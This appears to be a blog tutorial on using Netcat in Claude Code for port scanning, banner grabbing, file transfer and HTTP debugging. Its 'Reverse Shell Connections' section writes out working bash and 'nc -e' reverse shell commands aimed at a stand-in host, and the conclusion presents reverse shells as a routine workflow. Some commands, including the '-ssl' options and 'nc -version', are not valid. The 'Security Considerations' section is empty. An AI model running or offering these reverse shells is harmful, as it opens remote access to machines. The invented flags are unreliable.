Claude Skills Guide

When you need a versatile networking tool that can handle everything from simple port scans to complex file transfers, Netcat (commonly called nc) is the Swiss Army knife developers reach for. This guide shows you how to integrate Netcat into your Claude Code workflow for efficient network debugging, testing, and administration tasks.

Understanding Netcat Basics

Netcat is a command-line utility that reads and writes data across network connections using TCP or UDP protocols. It’s available on most systems and provides functionality similar to cat but for network sockets. Before diving into Claude Code workflows, make sure you have Netcat installed:

# macOS
brew install netcat

# Ubuntu/Debian
sudo apt-get install netcat-openbsd

# CentOS/RHEL
sudo yum install nc

Verify your installation by checking the version:

nc -version

Port Scanning Workflows

One of the most common developer use cases for Netcat is port scanning. Whether you’re debugging connectivity issues or testing a new service, Claude Code can help you construct efficient scan commands.

Basic Port Scanning

For quick port checks, use Netcat’s connection mode to test specific ports:

# Check if a specific port is open
nc -zv example.com 80

# Scan multiple ports
nc -zv example.com 22 80 443 8080

# Scan a range of ports
nc -zv example.com 1-1000 2>&1 | grep -E 'succeeded|failed'

Claude Code can help you build more sophisticated scanning scripts. Here’s a practical example for scanning common web ports:

#!/bin/bash
# scan-ports.sh - Scan common ports on a target host

TARGET="${1:-localhost}"
PORTS=(22 80 443 3000 5000 8000 8080 8443)

for port in "${PORTS[@]}"; do
    if nc -zw 2 "$TARGET" "$port" 2>&1 | grep -q "succeeded"; then
        echo "Port $port is OPEN"
    else
        echo "Port $port is closed"
    fi
done

Service Banner Grabbing

Netcat can also grab service banners to identify running services:

# Grab HTTP banner
echo "GET / HTTP/1.0\r\n\r\n" | nc example.com 80

# Grab SMTP banner
nc -Cv example.com 25

# Grab SSH banner
nc -Cv example.com 22

File Transfer Using Netcat

Netcat excels at quick file transfers between systems without setting up SCP or FTP. This is particularly useful in containerized environments or when SCP isn’t available.

Sending Files

Set up a receiving end first:

# On receiving machine - listen on port 9999
nc -l -p 9999 > received-file.txt

Then send the file:

# On sending machine - connect and pipe file content
nc -N receiving-host.example.com 9999 < file-to-send.txt

For entire directories, combine with tar:

# Receive side
nc -l -p 9999 | tar xf -

# Send side
tar cf - /path/to/directory | nc -N receiving-host.example.com 9999

Claude Code Integration for File Transfers

Create a reusable script that Claude Code can invoke:

#!/bin/bash
# netcat-transfer.sh - Transfer files via Netcat

Usage() {
    echo "Usage: $0 [send|receive] [host] [port] [file]"
    exit 1
}

MODE="$1"
HOST="$2"
PORT="$3"
FILE="$4"

case "$MODE" in
    receive)
        nc -l -p "$PORT" -q 1 > "$FILE"
        ;;
    send)
        nc -N "$HOST" "$PORT" < "$FILE"
        ;;
    *)
        Usage
        ;;
esac

Reverse Shell Connections

Netcat is frequently used for reverse shell connections in legitimate administration scenarios, penetration testing, and debugging network services. Always use these for authorized purposes only.

Setting Up a Reverse Shell

On your listening machine:

# Listen on port 4444
nc -lvp 4444

On the target machine:

# Bash reverse shell
bash -i >& /dev/tcp/your-host.example.com/4444 0>&1

# Or using Netcat
nc -e /bin/bash your-host.example.com 4444

Secure Reverse Shells with SSL

For encrypted communications, use Netcat with SSL wrappers:

# Listen with SSL
nc -l -p 4444 -k -ssl

# Connect with SSL
nc -C your-host.example.com 4444 -ssl

Network Debugging with Claude Code

Claude Code can help you debug network issues by generating diagnostic scripts and interpreting Netcat output.

Testing WebSocket Connections

Netcat can help test WebSocket handshakes:

# Simple WebSocket upgrade request
printf "GET /ws HTTP/1.1\r\nHost: example.com\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\n\r\n" | nc example.com 80

HTTP Request Debugging

Test API endpoints manually:

# POST request with JSON
printf "POST /api/users HTTP/1.1\r\nHost: api.example.com\r\nContent-Type: application/json\r\nContent-Length: 18\r\n\r\n{\"name\":\"testuser\"}" | nc api.example.com 80

# Check response headers
nc -Cv api.example.com 80 <<EOF
GET / HTTP/1.1
Host: api.example.com

EOF

Practical Claude Code Workflow

Here’s how to integrate Netcat operations into your Claude Code workflow:

Creating a Netcat Helper Skill

#!/bin/bash
# nc-helper - Claude Code skill for common Netcat operations

case "$1" in
    scan)
        nc -zv "$2" "$3" 2>&1
        ;;
    transfer)
        # Handle file transfers
        nc -l -p 9999 > "$2"
        ;;
    listen)
        nc -lvp "$2"
        ;;
    *)
        echo "Usage: nc-helper {scan|transfer|listen} [args]"
        ;;
esac

Debugging Connection Issues

When debugging connectivity, use this systematic approach:

# 1. Check local port availability
nc -lvp 8080

# 2. Test basic connectivity
nc -zv remote-host 80

# 3. Capture full transaction
nc -Cv remote-host 80 <<EOF
GET / HTTP/1.1
Host: remote-host

EOF

# 4. Test UDP if needed
nc -zuv remote-host 53

Security Considerations

When using Netcat in your workflows, keep these security best practices in mind:

Conclusion

Netcat remains an essential tool for developers working with network operations. By integrating Netcat into your Claude Code workflow, you can automate port scanning, streamline file transfers, debug network services, and handle reverse shell connections more efficiently. The key is creating reusable scripts that Claude Code can invoke, transforming ad-hoc networking tasks into reproducible, version-controlled workflows.

Start with simple operations like port scanning, then gradually incorporate file transfers and debugging scripts into your daily workflow. As you become more comfortable with Netcat’s capabilities, you’ll find it invaluable for both development and system administration tasks.

Built by theluckystrike — More at zovo.one